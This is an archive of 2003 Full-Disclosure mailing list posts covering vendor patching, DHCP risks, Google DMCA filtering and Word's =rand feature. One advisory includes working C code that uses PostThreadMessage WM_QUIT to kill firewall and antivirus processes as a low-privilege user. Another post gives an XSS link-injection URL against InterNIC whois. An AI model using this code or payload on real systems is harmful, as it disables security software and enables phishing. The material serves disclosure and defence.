<20031002025551.GA11731@phxby.com> On Wed, Oct 01, 2003 at 09:18:51PM -0400, Justin Shin wrote: > If I had my druthers at redhat, someone aint gonna have a job come thursday mornin > > What's more, I played around and came to amusement with the fact that I had just made the security course cost me 0.99 . Talk about cheap! Why, Redhat should invest in training their coders, and avoid being duped by the oldest technique in webapp history... > Even more funny, I set it to be -$8098082308 and redhat now owes me that much ;) From len at netsys.com Thu Oct 2 04:20:29 2003 From: len at netsys.com (Len Rose) Date: Wed, 1 Oct 2003 23:20:29 -0400 Subject: [Full-Disclosure] Solaris security patches. Message-ID: <20031002032029.GB29899@netsys.com> NOTE: These are personal opinions and as such I do not speak for any entity other than myself. I've been complaining about the slow reaction times from Sun regarding security patches lately, and I haven't seen much improvement. It actually seems that Sun security team is even slower now than when I first started noticing the "slowdown". Two recent vulnerabilities (openssh, and sendmail) come to mind. Note: Since Sun has now embedded openssh into Solaris 9 it sucks to have to rip out Sun's openssh and switch to the portable open source version. In the case of sendmail 8.12.x most people who really used Solaris for mail servers probably run something else like postfix, or at least maintains their own sendmail so no big deal. However, there are many sites that have to rely on patches alone from Sun since they may not have people who can compile new versions of software. There might be sites that will permit only "official" patches from Sun installed on their servers. Reference: http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert%2F56861&zone_32=category%3Asecurity http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert%2F56860&zone_32=category%3Asecurity Initially even though the bulletins were finally released the "workaround" was to disable sendmail or to disable sshd. I'm sorry but these aren't realistic or credible. Now they've updated them to include references to T Patches that don't exist on the registered customer "private" patch archives. It's been quite a while for those who rely on ssh and sendmail, so generally everyone eventually is forced to ditch "official" versions of ssh and sendmail in favour of building these critical pieces of software from source from the open source development teams. It really makes the job of keeping Solaris servers secure very difficult in comparison to say Linux, or *BSD whose security teams are quite responsive when there is a significant new hole. Perhaps the dire financial situation that Sun is facing is to blame for this. If so, I'll volunteer to help put together an organization to publish Solaris patch packages for security-related problems if Sun will sanction same. I love Solaris and I am a dedicated sparc person -- I don't want to see people who are STILL using Solaris to be the ones to suffer. Thanks for listening Sun. From ggilliss at netpublishing.com Thu Oct 2 04:34:43 2003 From: ggilliss at netpublishing.com (Gregory A. Gilliss) Date: Wed, 1 Oct 2003 20:34:43 -0700 Subject: [Full-Disclosure] Google FILTERS searches for possible DMCA infringable content!!! In-Reply-To: <3F7CC903.3040706@snosoft.com> References: <001601c38879$b18f3a40$ca02a8c0@winxpnetsniper> <3F7CC903.3040706@snosoft.com> Message-ID: <20031002033443.GA66899@netpublishing.com> Okay, now *this* is a security issue. First off, let's set some boundaries - the DMCA is *law* therefore it has to be obeyed by corporations (Google) unless they are prepared to fight it with their legal staff (not likely). So let's not waste bandwidth bashing the DMCA. There's better fora for that. Also, mea Culpa - IANAL. BTW, pls don't anyone misconstrue the previous paragraph as an endorsement of the law. I just don't want to waste peoples' time with DMCA rants on FD. Now, if you scroll down this Web page you can find Google's policy for affected sites to protest their exclusion. All they have to do is identify their material of dubious nature, identify themselves (name, address, etc), sign the paper (which makes it legally binding, and give it to Google. So, if you have mp3 ph1l3z or whatever on your site and Google excludes your URL because of the DMCA, and you write them a "counter notification", what you are doing effectively is giving the DOJ (or whoever decides to chase after the nasty software/music pirates) the ammunition to come and kick down your door and confiscate your servers and charge you with DMCA violations. For those of you who don't know (this is gonna get me in a lot of trouble, but WTF) Google searches are monitored by agencies that care about things like crime and terrorism. Don't ask me to validate that assertion, because there's no way that I can or would. Call me a conspiracy nut, but it is and they are. 'nuf said. G On or about 2003.10.02 20:55:31 +0000, KF (dotslash at snosoft.com) said: > http://www.google.com/dmca.html -- Gregory A. Gilliss, CISSP Telephone: 1 650 872 2420 Computer Engineering E-mail: greg at gilliss.com Computer Security ICQ: 123710561 Software Development WWW: http://www.gilliss.com/greg/ PGP Key fingerprint 2F 0B 70 AE 5F 8E 71 7A 2D 86 52 BA B7 83 D9 B4 14 0E 8C A3 From ALudwig at Calfingroup.com Thu Oct 2 04:41:39 2003 From: ALudwig at Calfingroup.com (Andre Ludwig) Date: Wed, 1 Oct 2003 20:41:39 -0700 Subject: [Full-Disclosure] Mystery DNS Changes Message-ID: Somewhat off topic, but a killer dhcp toolset that i have played with a bit is Gobbler from www.networkpenetration.com . Might give some people who don't understand the whole DHCP vulnerability thing a bit of an education. Andre Ludwig http://www.networkpenetration.com/downloads.html -----Original Message----- From: hobbit at avian.org [mailto:hobbit at avian.org] Sent: Wednesday, October 01, 2003 1:11 PM To: full-disclosure at lists.netsys.com Subject: Re: [Full-Disclosure] Mystery DNS Changes ... DHCP enabled workstations have had their DNS reconfigured to point to two of the three addresses User-driven trojan or not, machines running DHCP can pretty much be told by a DHCP server that their leases are up and it's time to renumber, and then that their new DNS servers are X Y and maybe Z. This is part of the protocol, astoundingly enough, but spells "attack vector" any way *I* look at it. This would probably work on most cable-modem infrastructures, at least where the provider hasn't done anything about the fact that any customer [i.e. customer's box, forget the human] can become a rogue DHCP server. Within a soft chewy corporate net, a rogue server probably presents an even higher risk cuz *none* of the end user boxes would have the benefit of a somewhat protective device [cable modem with clueful config] in between it and the rogue. Expect it. Script your bootup to nuke dhclient/dhcpcd/whatever after it's gotten an address, and sanity-check what you get back. DHCP clients, at least in the unix world, generally run OUTSIDE your filters, as ROOT. Windows users, you're probably just hosed, because if you stop "DHCP client" you release your address. _H* _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html From frank at knobbe.us Thu Oct 2 06:03:52 2003 From: frank at knobbe.us (Frank Knobbe) Date: Thu, 02 Oct 2003 00:03:52 -0500 Subject: [Full-Disclosure] Microsoft moves beyond patches Message-ID: <1065071032.507.101.camel@localhost> The funniest thing in a while.... Microsoft is conceding defeat on the patch front AND running in the wrong direction: http://news.com.com/2100-1002_3-5085251.html?tag=st_lh Somebody please tell them that the days of perimeter defense have come and passed... Enjoy, Frank -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 187 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031002/d07ff819/attachment.bin From ccozad at sci-aust.com.au Thu Oct 2 06:28:36 2003 From: ccozad at sci-aust.com.au (Chris Cozad) Date: Thu, 2 Oct 2003 15:28:36 +1000 Subject: [inbox] Re: [Full-Disclosure] CyberInsecurity: The cost of Mo nopoly Message-ID: <756877f4233c1c0162e15e5ee21459dd3f7bb7c0@sci-aust.com.au> -----Original Message----- From: Valdis.Kletnieks at vt.edu [mailto:Valdis.Kletnieks at vt.edu] Sent: Tuesday, 30 September 2003 11:49 PM To: Chris Cozad Cc: 'Paul Schmehl'; 'full-disclosure at lists.netsys.com' Subject: Re: [inbox] Re: [Full-Disclosure] CyberInsecurity: The cost of Mo nopoly On Tuesday, 30 September 2003 11:49 PM, Valdis.Kletnieks said: >> Do you really think you could convince the average user that they need to >> know this much about security? I mean, most users see their computers (and >> the network, servers, phones, faxes, etc...) as a tool to do business with. >> Nothing else. The computers are there to do a job, or help get a job done, >> and nothing else. It is not so much that they don't know, it is that they >> don't need to know. >This argument is a total crock. Most people manage to drive cars that >remain operational, because they either learn how to do the maintenance >themselves, or they outsource it to a guy called a "mechanic". >Here.. let's do a s/computer/cars/ on that paragraph: You are just re-wording my point. Security Personel are the mechanics in your example. There are two types of people user) in the computer world. There are those that have an interest in how things work, and those that don't care, or don't want to know. Our problem is that the vast majority of users out there don't care about security. And these people probably don't need to know. They are accountants, sales people, managers, trainers, etc... They are employed for their abilities in other areas. I suppose I could follow your example, and come up with a different analogy. These same people that use our computers also use photocopiers. They don't necessarily know all the functions that are available on that machine, nor do they know how to fix it when it breaks. They may just know how to put a piece of paper in the top, and make 10 copies come out the bottom. But that is fine. Thats all they need to know to sell their product, or do their accounts, or whatever. I could keep going with coffee machines, printers, calculators, etc..., but you get the point. >> Do you really think you could convince the average person that they need to >> know this much about fuel injectors? I mean, most people see their cars (and >> the network, servers, phones, faxes, etc...) as a tool to do business with. >> Nothing else. The cars are there to do a job, or help get a job done, >> and nothing else. It is not so much that they don't know, it is that they >> don't need to know. >I'll point out that the average car no longer comes with a crank to start it, >or a manual choke button that you have to remember to push back in. The >average car no longer needs major maintenance every few hundred miles. >So why are we tolerating computers that have cranks and choke buttons and >need major maintenance every few hundred hours? We definitely shouldn't tolerate this, but until there is a viable solution....... Chris ---------------------------------------------------------------------------- ---------------------------------------- This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the originator of the message. This footer also confirms that this email message has been scanned for the presence of computer viruses. Any views expressed in this message are those of the individual sender, except where the sender specifies and with authority, states them to be the views of Service Corporation International Australia. Scanning of this message and addition of this footer is performed by SurfControl SuperScout Email Filter software in conjunction with virus detection software. -------------------------------------------------------------------------------------------------------------------- This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the originator of the message. This footer also confirms that this email message has been scanned for the presence of computer viruses. Any views expressed in this message are those of the individual sender, except where the sender specifies and with authority, states them to be the views of Service Corporation International Australia. Scanning of this message and addition of this footer is performed by SurfControl SuperScout Email Filter software in conjunction with virus detection software. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031002/a83d0481/attachment.html From raju at linux-delhi.org Thu Oct 2 06:50:09 2003 From: raju at linux-delhi.org (Raj Mathur) Date: Thu, 2 Oct 2003 11:20:09 +0530 Subject: [inbox] Re: [Full-Disclosure] CyberInsecurity: The cost of Mo nopoly In-Reply-To: <756877f4233c1c0162e15e5ee21459dd3f7bb7c0@sci-aust.com.au> References: <756877f4233c1c0162e15e5ee21459dd3f7bb7c0@sci-aust.com.au> Message-ID: <16251.48273.187399.380702@mail.linux-delhi.org> >>>>> "Chris" == Chris Cozad writes: Chris> On Tuesday, 30 September 2003 11:49 PM, Valdis.Kletnieks Chris> said: >>> [snip] >> So why are we tolerating computers that have cranks and choke >> buttons and need major maintenance every few hundred hours? Chris> We definitely shouldn't tolerate this, but until there is a Chris> viable solution....... Here's a viable solution... I guess: http://linux.omnipotent.net/article.php?article_id=8568 -- Raju -- Raj Mathur raju at kandalaya.org http://kandalaya.org/ GPG: 78D4 FC67 367F 40E2 0DD5 0FEF C968 D0EF CC68 D17F All your domain are belong to us. It is the mind that moves From caferace at well.com Thu Oct 2 07:03:44 2003 From: caferace at well.com (J. Race) Date: Wed, 01 Oct 2003 23:03:44 -0700 Subject: [Full-Disclosure] Microsoft moves beyond patches In-Reply-To: <1065071032.507.101.camel@localhost> References: <1065071032.507.101.camel@localhost> Message-ID: <3F7BBFC0.5050207@well.com> Frank Knobbe wrote: > The funniest thing in a while.... Microsoft is conceding defeat on the > patch front AND running in the wrong direction: > > http://news.com.com/2100-1002_3-5085251.html?tag=st_lh > > Somebody please tell them that the days of perimeter defense have come > and passed... I would be not at all surprised to see Microsoft buy soon the likes of a Linksys, integrate their recent AV acquisition and market a hardware firewall/router and more wifi gear. Not that they won't screw it up but it's all about image anyway, isn't it? -jim From jeremiah at nur.net Thu Oct 2 07:16:20 2003 From: jeremiah at nur.net (Jeremiah Cornelius) Date: Wed, 1 Oct 2003 23:16:20 -0700 Subject: [Full-Disclosure] Google FILTERS searches for possible DMCA infringable content!!! In-Reply-To: <20031002033443.GA66899@netpublishing.com> References: <001601c38879$b18f3a40$ca02a8c0@winxpnetsniper> <3F7CC903.3040706@snosoft.com> <20031002033443.GA66899@netpublishing.com> Message-ID: <200310012316.56022.jeremiah@nur.net> > For those of you who don't know (this is gonna get me in a lot of trouble, > but WTF) Google searches are monitored by agencies that care about things > like crime and terrorism. Don't ask me to validate that assertion, because > there's no way that I can or would. Call me a conspiracy nut, but it is > and they are. 'nuf said. > The fact that they have at least two "former" NSA personnel in the ranks of senior technical management should be all the tip-off that anyone would need. It's one of the recurring themes for rantage at google-watch.org : http://www.google-watch.org/jobad.html From dave at immunitysec.com Thu Oct 2 04:22:57 2003 From: dave at immunitysec.com (dave at immunitysec.com) Date: Wed, 1 Oct 2003 23:22:57 -0400 (EDT) Subject: [Full-Disclosure] MOSDEF 0.1 Release Message-ID: <34434.64.134.214.38.1065064977.squirrel@www.immunitysec.com> Immunity is pleased to announce that MOSDEF, a 100% Python retargetable compiler for C->shellcode has been released to the public under the LGPL. http://www.immunitysec.com/MOSDEF/ Dave Aitel VP Research and Development Immunity, Inc. From brett.moore at security-assessment.com Thu Oct 2 06:28:14 2003 From: brett.moore at security-assessment.com (Brett Moore) Date: Thu, 2 Oct 2003 17:28:14 +1200 Subject: [Full-Disclosure] Process Killing - Playing with PostThreadMessage Message-ID: ========================================================================= = Process Killing - Playing with PostThreadMessage = = brett.moore at security-assessment.com = http://www.security-assessment.com = = Originally posted: October 02, 2003 ========================================================================= == Background == While continuing our research into shatter attacks, we turned our attention to the PostThreadMessage API. (Start MSDN) - The PostThreadMessage function places (posts) a message in the message - queue of the specified thread and then returns without waiting for the - thread to process the message. - - BOOL PostThreadMessage( - DWORD idThread, // thread identifier - UINT Msg, // message to post - WPARAM wParam, // first message parameter - LPARAM lParam // second message - - The function fails if the specified thread does not have a message queue. - The system creates a thread's message queue when the thread makes its - first call to one of the Win32 USER or GDI functions. (End MSDN) It appears from our testing that any thread running under any security level will accept a WM_QUIT message, causing the process to terminate. (Start MSDN) - WM_QUIT - The WM_QUIT message indicates a request to terminate an application and - is generated when the application calls the PostQuitMessage function. - Return Values - This message does not have a return value, because it causes the message - loop to terminate before the message is sent to the application's window - procedure. (End MSDN) Similar results can also be seen in some cases through the use of sending WM_DESTROY or WM_CLOSE messages. While this does not have the security implications of 'privilege escalation' attacks, it may cause some concerns under certain circumstances. For our testing we used a personal firewall that runs as a service, and requires a password before terminating. When run from a guest account Appshutdown was able to kill the firewall service and various other windows services. This means that any user has the potential to shutdown; * antivirus applications * personal firewall applications * filtering applications * monitoring applications * potentially critical system services. The mitigating factor is that the thread is required to have a message queue. == Example Logs == The test.exe process is the personal firewall that requires a password before shutting down. The following logs are shortened outputs of the tlist and kill commands from the NTRK ------------------------------------------------------- C:\>tlist 208 WINLOGON.EXE NetDDE Agent 1020 test.exe TestFirewall 1132 mstask.exe SYSTEM AGENT COM WINDOW C:\>kill 1020 process test.exe (1020) - 'TestFirewall' killed C:\>kill 208 process WINLOGON.EXE (208) - 'NetDDE Agent' killed ------------------------------------------------------- Authough kill results in the messages above, what really happened was; a) the password prompt appeared when trying to kill 1020 b) the service remained running when trying to kill 208 ------------------------------------------------------- C:\>appshutdown "TestFirewall" % AppShutdown - Playing with PostThreadMessage % brett.moore at security-assessment.com + Finding TestFirewall Window... + Found Main Window At...0x30038h + Finding Window Thread..0x42ch Process 0x3fch + Send Quit Message + Done... C:\>appshutdown "NetDDE Agent" % AppShutdown - Playing with PostThreadMessage % brett.moore at security-assessment.com + Finding NetDDE Agent Window... + Found Main Window At...0x10018h + Finding Window Thread..0x110h Process 0xd0h + Send Quit Message + Done... ------------------------------------------------------- AppShutdown managed to successfully shutdown both services; a) bypassing the required password for the personal firewall b) bypassing the security restrictions placed on shutting down services == Example Code == /************************************************************************ * Appshutdown.c * * Demonstrates the use of PostThreadMessage to; * - shutdown any application with a message handler * * The window title can be specified in code or on the command line * * Works against any application/service process that * has implemented a message handler * *************************************************************************/ #include #include #include char tWindow[]="Windows Task Manager";// The name of the main window char* pWindow; int main(int argc, char *argv[]) { long hWnd,proc; DWORD hThread; printf("%% AppShutdown - Playing with PostThreadMessage\n"); printf("%% brett.moore at security-assessment.com\n\n"); // Specify Window Title On Command Line if (argc ==2) pWindow = argv[1]; else pWindow = tWindow; printf("+ Finding %s Window...\n",pWindow); hWnd = (long)FindWindow(NULL,pWindow); if(hWnd == NULL) { printf("+ Couldn't Find %s Window\n",pWindow); return 0; } printf("+ Found Main Window At...0x%xh\n",hWnd); printf("+ Finding Window Thread.."); hThread = GetWindowThreadProcessId(hWnd,&proc); if(hThread == NULL) { printf("Failed\n"); return 0; } printf("0x%xh Process 0x%xh\n",hThread,proc); printf("+ Send Quit Message\n"); PostThreadMessage((DWORD) hThread,(UINT) WM_QUIT,0,0); printf("+ Done...\n"); return 0; } == Example Vulnerable Programs == >From our testing, any process that implements a message queue is vulnerable to been shutdown by a user of any security level. In some instances bypassing shutdown password requirements. This attack must be run through an interactive logon. == Credit == Brett Moore from security-assessment.com == About Security-Assessment.com == Security-Assessment.com is a leader in intrusion testing and security code review, and leads the world with SA-ISO, online ISO17799 compliance management solution. Security-Assessment.com is committed to security research and development, and its team have previously identified a number of vulnerabilities in public and private software vendors products. From fbotha at g5.co.za Thu Oct 2 08:05:33 2003 From: fbotha at g5.co.za (Frikkie Botha) Date: Thu, 2 Oct 2003 09:05:33 +0200 Subject: [Full-Disclosure] FW: This beats me!!! Message-ID: <3F6809163F14D611AC860002A5EA8F583200F4@GC21-DC> Not even Bill Gates can explain this one! Try this: Open a word document and type: = rand (200,99) Press Enter and wait for 3 seconds.... -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031002/ba3c1dad/attachment.html From rob at rpi.net.au Thu Oct 2 08:38:20 2003 From: rob at rpi.net.au (Rob Thomas) Date: Thu, 02 Oct 2003 17:38:20 +1000 Subject: [Full-Disclosure] FW: This beats me!!! In-Reply-To: <3F6809163F14D611AC860002A5EA8F583200F4@GC21-DC> References: <3F6809163F14D611AC860002A5EA8F583200F4@GC21-DC> Message-ID: <3F7BD5EC.3000307@rpi.net.au> Frikkie Botha wrote: > **= rand (200,99) ** > **Press Enter and wait for 3 seconds....** Microsoft Knowledge Base article 157373. --Rob From jeremiah at nur.net Thu Oct 2 08:46:55 2003 From: jeremiah at nur.net (Jeremiah Cornelius) Date: Thu, 2 Oct 2003 00:46:55 -0700 Subject: [Full-Disclosure] FW: This beats me!!! In-Reply-To: <3F6809163F14D611AC860002A5EA8F583200F4@GC21-DC> References: <3F6809163F14D611AC860002A5EA8F583200F4@GC21-DC> Message-ID: <200310020047.04505.jeremiah@nur.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thursday 02 October 2003 00:05, Frikkie Botha wrote: > = rand (200,99) BAD VBA!!! 235 pages of that!!! It even works here, under WINE on Linux. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQE/e9f2Ji2cv3XsiSARAhyrAJ9iiIBi6cV/+xUriQ9FCzu8+afRdQCfT9qA BKepoquYeofLqhtz2ivXQIc= =bdlb -----END PGP SIGNATURE----- From kluge at fujitsu.com.au Thu Oct 2 08:51:42 2003 From: kluge at fujitsu.com.au (Steffen Kluge) Date: Thu, 02 Oct 2003 17:51:42 +1000 Subject: [Full-Disclosure] CyberInsecurity: The cost of Monopoly In-Reply-To: <871080DEC5874D41B4E3AFC5C400611E03F60BF0@UTDEVS02.campus.ad.utdallas.edu> References: <871080DEC5874D41B4E3AFC5C400611E03F60BF0@UTDEVS02.campus.ad.utdallas.edu> Message-ID: <1065081102.15572.47.camel@syd0137.fujitsu.com.au> On Wed, 2003-10-01 at 02:30, Schmehl, Paul L wrote: > We don't let people drive cars without some proof that they know how. > We don't even let them neglect the maintenance any more (think emissions > inspections.) Why should we let people use computers with no training, > no awareness of the potential trouble spots, no idea what they're > getting in to? Because, unlike driving your personal car, operating your personal computer isn't likely to injure or kill someone. > That's insanity. And that's why we have hundreds of > thousands of infections with every new iteration of a worm or virus. Losing your frame of reference is a kind of insanity, too. Most people rank infections with computer worms or viruses pretty low on the scale on things to do with life and death, and rightly so. > And IT people contribute to the problem by throwing up their hands and > saying that the users don't want to learn or can't be taught. Some IT people compound the problem by hysteric hand waving, making those with their feet on ground (and money in their pockets) turn away and stop listening. > They > *must* be taught. There is no other way to solve the problem. How big is the problem, though, and how much should we spend addressing it? I'd prefer a differentiated approach, insuring that critical infrastructure is protected against onslaught without teaching every mom and granny in the world how to patch a PC. Ideally everyone, home users, corporations, government organisations, you name it, should assess the risk to their assets and come up with a proportional response. Given the lack of risk assessment capabilities in the general population, the approach for selling other potentially dangerous products should be adopted: make it idiot-proof (difficult for the average operators to hurt themselves) or face severe restrictions selling it. Again, keep in mind that the dangers of using software or PCs' are mostly those of wasting time, financial loss, identity theft, but not injury or death. Yet, they somehow manage to sell people sharp and pointy kitchen knives - it's all a matter of risk mitigation and a dose of common sense (which isn't all that common, as we know). In short, if you think that inexperienced people operating PC's that can boot into Windows is as dangerous as housewives (or husbands) operating microwave ovens that can be turned on with the door open - you should lobby for getting them outlawed, rather than relying on end-user education. Or at least you should try to raise consumer awareness. And, speaking of ridiculous analogies, I'd prefer a 100 million PC's infected with five different worms per year to the annual slaughter of 40.000 people on the road (in just the US, or in Europe). I'm not saying there's a choice between those two, I'm just pointing out the vastly different levels of severity. Cheers Steffen. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031002/c4410c5c/attachment.bin From j at pureftpd.org Thu Oct 2 09:09:44 2003 From: j at pureftpd.org (Jedi/Sector One) Date: Thu, 2 Oct 2003 10:08:44 +0159 Subject: [Full-Disclosure] FW: This beats me!!! In-Reply-To: <3F6809163F14D611AC860002A5EA8F583200F4@GC21-DC> References: <3F6809163F14D611AC860002A5EA8F583200F4@GC21-DC> Message-ID: <20031002080906.GA24922@c9x.org> On Thu, Oct 02, 2003 at 09:05:33AM +0200, Frikkie Botha wrote: > Try this: > Open a word document and type: > = rand (200,99) This feature is documented in the Microsoft knowledge base : http://support.microsoft.com/?kbid=157373 Best regards, -- __ /*- Frank DENIS (Jedi/Sector One) -*\ __ \ '/ Secure FTP Server \' / \/ Misc. free software \/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 187 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031002/1021caa9/attachment.bin From rgerhards at hq.adiscon.com Thu Oct 2 09:12:49 2003 From: rgerhards at hq.adiscon.com (Rainer Gerhards) Date: Thu, 2 Oct 2003 10:12:49 +0200 Subject: [Full-Disclosure] FW: This beats me!!! Message-ID: <28915501A44DBA4587FE1019D675F983093DFF@grfint.intern.adiscon.com> lol... It actually is a feature ;) quick googling found http://www.safarisoftware.com/tip(18).htm #### Finally, you may find there are times when you are working in Word when words fail you. For these times, there's the Word Rand function. In a new line, type =rand(6) and hit Enter. The text will be replaced with six sentences of "The quick brown fox jumps over the lazy dog." In italics no less. If you type =rand(4,3), you'll get four paragraphs of three sentences each. #### Rainer > -----Original Message----- > From: Frikkie Botha [mailto:fbotha at g5.co.za] > Sent: Thursday, October 02, 2003 9:06 AM > To: 'full-disclosure at lists.netsys.com' > Subject: [Full-Disclosure] FW: This beats me!!! > > > Not even Bill Gates can explain this one! > Try this: > Open a word document and type: > = rand (200,99) > > Press Enter and wait for 3 seconds.... From steve.wray at paradise.net.nz Thu Oct 2 10:24:17 2003 From: steve.wray at paradise.net.nz (Steve Wray) Date: Thu, 02 Oct 2003 21:24:17 +1200 Subject: [Full-Disclosure] FW: This beats me!!! In-Reply-To: <28915501A44DBA4587FE1019D675F983093DFF@grfint.intern.adiscon.com> Message-ID: <000e01c388c6$fcddead0$0201a8c0@cyber.god> Ok... so this means what? That MS developers thought that the rand(om) function should return repeated identical sentences? This would explain why theres no salt in windows password encryption. > -----Original Message----- > From: full-disclosure-admin at lists.netsys.com > [mailto:full-disclosure-admin at lists.netsys.com] On Behalf Of > Rainer Gerhards > Sent: Thursday, 2 October 2003 8:13 p.m. > To: Frikkie Botha; full-disclosure at lists.netsys.com > Cc: Andre Lorbach > Subject: RE: [Full-Disclosure] FW: This beats me!!! > > > lol... It actually is a feature ;) quick googling found > http://www.safarisoftware.com/tip(18).htm #### Finally, you may find there are times when you are working in Word when words fail you. For these times, there's the Word Rand function. In a new line, type =rand(6) and hit Enter. The text will be replaced with six sentences of "The quick brown fox jumps over the lazy dog." In italics no less. If you type =rand(4,3), you'll get four paragraphs of three sentences each. #### Rainer > -----Original Message----- > From: Frikkie Botha [mailto:fbotha at g5.co.za] > Sent: Thursday, October 02, 2003 9:06 AM > To: 'full-disclosure at lists.netsys.com' > Subject: [Full-Disclosure] FW: This beats me!!! > > > Not even Bill Gates can explain this one! > Try this: > Open a word document and type: > = rand (200,99) > > Press Enter and wait for 3 seconds.... From guninski at guninski.com Thu Oct 2 11:30:22 2003 From: guninski at guninski.com (Georgi Guninski) Date: Thu, 2 Oct 2003 13:30:22 +0300 Subject: [Full-Disclosure] Process Killing - Playing with PostThreadMessage In-Reply-To: References: Message-ID: <20031002103022.1526.qmail@localhost.localdomain> On Thu, 2 Oct 2003 17:28:14 +1200 "Brett Moore" wrote: > > It appears from our testing that any thread running under any security > level will accept a WM_QUIT message, causing the process to terminate. > ... > While this does not have the security implications of 'privilege escalation' > attacks, it may cause some concerns under certain circumstances. > In some circumstances this probably may be used for privilege escalation. In windoze a process may escalate its privileges if a more privileged process writes to its named pipes. So if you manage to kill a process which holds important named pipe, then create the same named pipe and then someone writes to your named pipe you may elevate your privileges. You may check http://www.guninski.com/dr07.html for an old demo. georgi From steven_fruchter at hotmail.com Thu Oct 2 08:33:51 2003 From: steven_fruchter at hotmail.com (Steven Fruchter) Date: Thu, 2 Oct 2003 00:33:51 -0700 Subject: [Full-Disclosure] Microsoft moves beyond patches In-Reply-To: <1065071032.507.101.camel@localhost> Message-ID: <005701c388b7$86e3bad0$6401a8c0@ChEEz> Well I read the article, but just below the article are two videos of Bill Gates giving a speech: Videos about Security , MS Windows More videos Bill Gates calls for research innovation Bill Gates, chairman, Microsoft Bill Gates sees software opportunities Bill Gates, chairman, Microsoft Specifically the one called BG calls for research innovation, I like his idea of creating the settop box and video games etc all in one and using terminal services to broadcast different apps to diff TV's within the home. Good stuff :) -Steven Fruchter > -----Original Message----- Frank Knobbe > Sent: Wednesday, October 01, 2003 10:04 PM > Subject: [Full-Disclosure] Microsoft moves beyond patches > The funniest thing in a while.... Microsoft is conceding > defeat on the patch front AND running in the wrong direction: > http://news.com.com/2100-1002_3-5085251.html?tag=st_lh Somebody please tell them that the days of perimeter defense have come and passed... Enjoy, Frank From dan at losangelescomputerhelp.com Thu Oct 2 08:51:15 2003 From: dan at losangelescomputerhelp.com (Daniel H. Renner) Date: 02 Oct 2003 00:51:15 -0700 Subject: [Full-Disclosure] MSN appears to be being a bit snoopy via a Hotmail server... Message-ID: <1065081075.19143.52.camel@localhost> We are running a Linux floppyfw on the outside, splitting into an unrestricted work space, and a stronger firewall to protect the office side of things. A computer was being setup that is running MSN software, and during it's 1 day on the benches, our good firewall recorded the following hits from the below noted site, all of which were aimed * directly * at the IP address of the internal firewall's NIC (represented by "xxx.xxx.xxx.xxx" below) climbing over the floppyfw to do so... Time Chain Iface Proto Source Src Port Destination Dst Port 11:34:12 INPUT eth2 UDP 64.4.12.201 7001 xxx.xxx.xxx.xxx 1075 11:34:13 INPUT eth2 UDP 64.4.12.201 7001 xxx.xxx.xxx.xxx 1075 11:34:14 INPUT eth2 UDP 64.4.12.201 7001 xxx.xxx.xxx.xxx 1075 11:34:15 INPUT eth2 UDP 64.4.12.201 7001 xxx.xxx.xxx.xxx 1075 14:31:43 INPUT eth2 UDP 64.4.12.201 7001 xxx.xxx.xxx.xxx 1075 14:31:43 INPUT eth2 UDP 64.4.12.201 7001 xxx.xxx.xxx.xxx 1075 14:31:44 INPUT eth2 UDP 64.4.12.201 7001 xxx.xxx.xxx.xxx 1075 14:31:45 INPUT eth2 UDP 64.4.12.201 7001 xxx.xxx.xxx.xxx 1075 Trying whois -h whois.arin.net 64.4.12.201 OrgName: MS Hotmail OrgID: MSHOTM Address: 1065 La Avenida City: Mountain View StateProv: CA PostalCode: 94043 Country: US NetRange: 64.4.0.0 - 64.4.63.255 CIDR: 64.4.0.0/18 NetName: HOTMAIL NetHandle: NET-64-4-0-0-1 Parent: NET-64-0-0-0-0 NetType: Direct Assignment NameServer: NS1.HOTMAIL.COM NameServer: NS3.HOTMAIL.COM NameServer: NS2.HOTMAIL.COM NameServer: NS4.HOTMAIL.COM Comment: RegDate: 1999-11-24 Updated: 2003-06-27 TechHandle: MSFTP-ARIN TechName: MSFT-POC TechPhone: +1-425-882-8080 TechEmail: iprrms at microsoft.com OrgTechHandle: MSFTP-ARIN OrgTechName: MSFT-POC OrgTechPhone: +1-425-882-8080 OrgTechEmail: iprrms at microsoft.com And from our internal firewall's proxy logs, noone here was logged into Hotmail or MSN servers during these times... The above mentioned computer's time in our shop is the only thing I can relate this traffic to, as noone is allowed to run MSN software on any of our Linux workstations... ;-) -- Cheers, Dan Renner President Los Angeles Computerhelp 818-352-8700 http://losangelescomputerhelp.com From se_cur_ity at hotmail.com Thu Oct 2 11:52:12 2003 From: se_cur_ity at hotmail.com (morning_wood) Date: Thu, 2 Oct 2003 16:22:12 +0530 Subject: [Full-Disclosure] INTERNIC WHOIS untrusted link XSS Message-ID: untrusted link XSS ... http://www-whois.internic.net/cgi/whois?whois_nic=%3Ca+href%3Dhttp%3A%2F%2Fe vilsite.com%3Eclick%20here%20for%20results%3C%2Fa%3E&type=domain or any xss you wish to embed is also OK morning_wood ( XSS king ) From se_cur_ity at hotmail.com Thu Oct 2 12:08:06 2003 From: se_cur_ity at hotmail.com (morning_wood) Date: Thu, 2 Oct 2003 16:38:06 +0530 Subject: [Full-Disclosure] Visualroute Server - reverse tracerouting Message-ID: Vendor Response follows... ------------------------------------------------------------------ - EXPL-A-2003-025 exploitlabs.com Advisory 025 ------------------------------------------------------------------ -= Visualroute Server =- Donnie Werner Oct 1, 2003 Vunerability(s): 